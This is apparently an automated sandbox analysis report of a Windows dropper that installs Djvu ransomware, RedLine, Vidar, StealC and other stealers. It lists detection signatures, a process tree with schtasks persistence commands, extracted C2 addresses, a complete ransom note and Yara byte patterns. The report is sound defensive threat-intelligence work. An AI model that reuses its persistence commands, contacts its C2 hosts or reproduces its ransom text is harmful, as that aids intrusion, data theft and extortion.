Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Analysis ID:	1447129
MD5:	a5891df2ec1f8f0335bc744b24b4d646
SHA1:	d8aced6d7fd09deb2580990cecd2594c17d75c4d
SHA256:	92105da09cc48e4f81bdfe124904bef025ee94c8ed8809353b1f19193a8badf3
Tags:	exe
Infos:

Detection

CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected CryptOne packer

Yara detected Djvu Ransomware

Yara detected GCleaner

Yara detected LummaC Stealer

Yara detected Mars stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected RisePro Stealer

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

Adds extensions / path to Windows Defender exclusion list (Registry)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to inject threads in other processes

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender real time protection (registry)

Disables Windows Defender (deletes autostart)

Drops PE files to the document folder of the user

Exclude list of file types from scheduled, custom, and real-time scanning

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Modifies Group Policy settings

Opens network shares

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

PE file has nameless sections

Performs DNS queries to domains with low reputation

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Conhost Spawned By Uncommon Parent Process

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potentially Suspicious Rundll32 Activity

Sigma detected: Windows Defender Exclusions Added - Registry

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe" MD5: A5891DF2EC1F8F0335BC744B24B4D646)

NRN3O_fFwiqNbjNW0Hj0MSKB.exe (PID: 3912 cmdline: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe MD5: 22F5F177EE04B3AC13DF5A778A5D3C1E)

AcFckZYSxYVwMhatLa6qbSBF.exe (PID: 5180 cmdline: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe MD5: 3955AF54FBAC1E43C945F447D92E4108)

2JjpKpJKHpHJisxPcc0WWCif.exe (PID: 5336 cmdline: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe MD5: 335426382C8B11C43B441E478F4E743E)

2JjpKpJKHpHJisxPcc0WWCif.tmp (PID: 7620 cmdline: "C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp" /SL5="$2043A,5279044,54272,C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe" MD5: BE70A78A316030C24575F48F60A59045)

YsL35EpGrjU1rZchKY2714UT.exe (PID: 6448 cmdline: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe MD5: 3F023AF63A8D50A095354335B3892C5A)

katDE8F.tmp (PID: 7456 cmdline: C:\Users\user\AppData\Local\Temp\katDE8F.tmp MD5: 66064DBDB70A5EB15EBF3BF65ABA254B)

NMSPRoliqHaiq3pjTjf_LdWm.exe (PID: 3156 cmdline: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe MD5: 7F3DB034A3FE2B644C9A48635C9543D5)

control.exe (PID: 7544 cmdline: "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl", MD5: EBC29AA32C57A54018089CFC9CACAFE8)

rundll32.exe (PID: 7700 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl", MD5: 889B99C52A60DD49227C5E485A016679)

va2JQfwFWdGawVd2zp4LeR00.exe (PID: 3052 cmdline: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe MD5: D72B9750EAB4B21E3F39E886275D80AB)

l9lSJ9GGGlvKrfyivpacgPFW.exe (PID: 5324 cmdline: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe MD5: CD0FD465EA4FD58CF58413DDA8114989)

WerFault.exe (PID: 7640 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 728 MD5: C31336C1EFC2CCB44B4326EA793040F2)

ezK8JIVGtHF75lpAeZwSuYWB.exe (PID: 5344 cmdline: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe MD5: 6151F5177B7B35E3D7CEE99A2FC9AF24)

uSTzApXGKnAPBLGKxFTiBRtj.exe (PID: 1720 cmdline: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe MD5: 0951BF8665040A50D5FB548BE6AC7C1D)

WjH5u4L3ZceSlLwRuJa2oMKn.exe (PID: 2084 cmdline: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe MD5: 029B4A16951A6FB1F6A1FDA9B39769B7)

F2MwMOxTR5ZuDHHYSd2btGVy.exe (PID: 5236 cmdline: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe MD5: D79B788762C6435AE9F599743F9F482D)

RegAsm.exe (PID: 6984 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7204 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

oRz0dgUR_xvbQVyt3Uz7F7QO.exe (PID: 984 cmdline: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe MD5: 43B0FD4A4213AA702E6BB8E8B67A9E2B)

schtasks.exe (PID: 7764 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7908 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

_C5tySJGGF0UA_S78re9UWIo.exe (PID: 7140 cmdline: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe MD5: D9A7D15AE1511095BC12D4FAA9BE6F70)

Dnr7f7kJx0GzWtxbQaDXLIUA.exe (PID: 7064 cmdline: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe MD5: E154829A16292C782B579D217E0EA8BF)

RegAsm.exe (PID: 7212 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

r7sW8wNeP3sav5N1yYLUJzML.exe (PID: 3512 cmdline: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe MD5: C0FEE8DB6325C8C1B3F8CCD13574C65A)

WDXRX19iwzw1OqSiNoRL5ABe.exe (PID: 5816 cmdline: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe MD5: D43AC79ABE604CAFFEFE6313617079A3)

boVVOk_VnQHj3a1q182pGwZV.exe (PID: 2640 cmdline: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe MD5: D1FBE0562396E6981A68818E4DA997F1)

Install.exe (PID: 7692 cmdline: .\Install.exe MD5: EF289C0209DCA509E4AA6818F0CE63CA)

Install.exe (PID: 7832 cmdline: .\Install.exe /TXxadidc "525403" /S MD5: C28D2EDD15308BA2FF580F1355108192)

B0191BYWi2sm3auk5jNzPdQw.exe (PID: 5296 cmdline: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe MD5: ADD437E239EBA1CEABCA80AF38F80B56)

B0191BYWi2sm3auk5jNzPdQw.exe (PID: 7408 cmdline: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe MD5: ADD437E239EBA1CEABCA80AF38F80B56)

svchost.exe (PID: 6828 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Conhost.exe (PID: 5088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 6856 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6880 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7352 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7472 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5324 -ip 5324 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
GCleaner		No Attribution	https://bazaar.abuse.ch/browse/signature/GCleaner/ https://github.com/VenzoV/MalwareAnalysisReports/blob/main/GCleaner/GCleaner%20Techincal%20Analysis%20with%20BinaryNinja.md https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145 https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/ https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/	https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.170/7043a0c6a68d9c65.php"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "c21b45a432889af65aa05cd66920d0a2", "Version": "9.8"}

Threatname: Djvu

{"Download URLs": [""], "C2 url": "http://cajgtus.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/33b490a613f49fa190924f199d2c079e20240512191214/caaf73\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0873PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8xYa6j6LzNJB2kuwO9Xc\\\\nSWMnTH6B2dX\\/XX8jCZc7kUlSg50HcwN2bYxLmKAwhfJZPFIYAufx4nMDKTEKIK5\\/\\\\n4RtQWlcufmpr7vcIJMnyyxwwyni9YfRUJR5VIIhfKzQE3gIQZ29b3M6dqzQeQ+oX\\\\nxHUQPadvTz\\/oYY7IbyFLZsHCxHKG2G2v4Yg4SX0nqMuvuzdAT+fLgmZd1ENiuf4U\\\\nWhF6Td3TAs0EkPT6MrxIXCKIQS5LAXEBcAlxRfv4QU03yP7NBxk4\\/gW6l4kV3RuO\\\\nbgqMAuPe3AkrIuOm1zi5FGsr7e8Y8KYE\\/RfQnJe+eOsmXlnhEpJGk1OLIrGxPETz\\\\nUQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: GCleaner

{"C2 addresses": ["185.172.128.90"]}

Threatname: RedLine

{"C2 url": "5.42.65.115:40551"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security
Click to see the 2 entries

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\Ihgs8tzG2tUPMYg5nkH89YL.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\rnzwrdDu3PH9Qq9rPTBAGEw.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\9EqyzG_526pDOlT2Acj6hpa.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000003.2258790556.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000010.00000003.2258325722.0000000001701000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000005.00000002.2084327302.0000000005F70000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2258481229.0000000001703000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000019.00000002.2491480085.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000019.00000002.2521398571.0000000002E47000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.2521398571.0000000002E47000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.2222007129.00000000045FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2412464350.0000000000400000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000010.00000003.2258325722.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000A.00000002.2458664896.0000000000447000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2354627600.000001CEBC380000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x7b11:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0xb05f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000010.00000003.2258554267.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x221e8:$s2: HAL9TH
00000012.00000002.1896456642.00000000001B7000.00000004.00000001.01000000.00000011.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000003.2020504201.0000000006244000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000010.00000002.2420174120.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000013.00000002.2127239509.00000000064EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000019.00000002.2521398571.0000000002FCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2289582215.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000C.00000003.2107965730.0000000005F5D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000A.00000002.2470496556.0000000002E2B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xf68:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.2414453523.0000000002088000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xf98:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
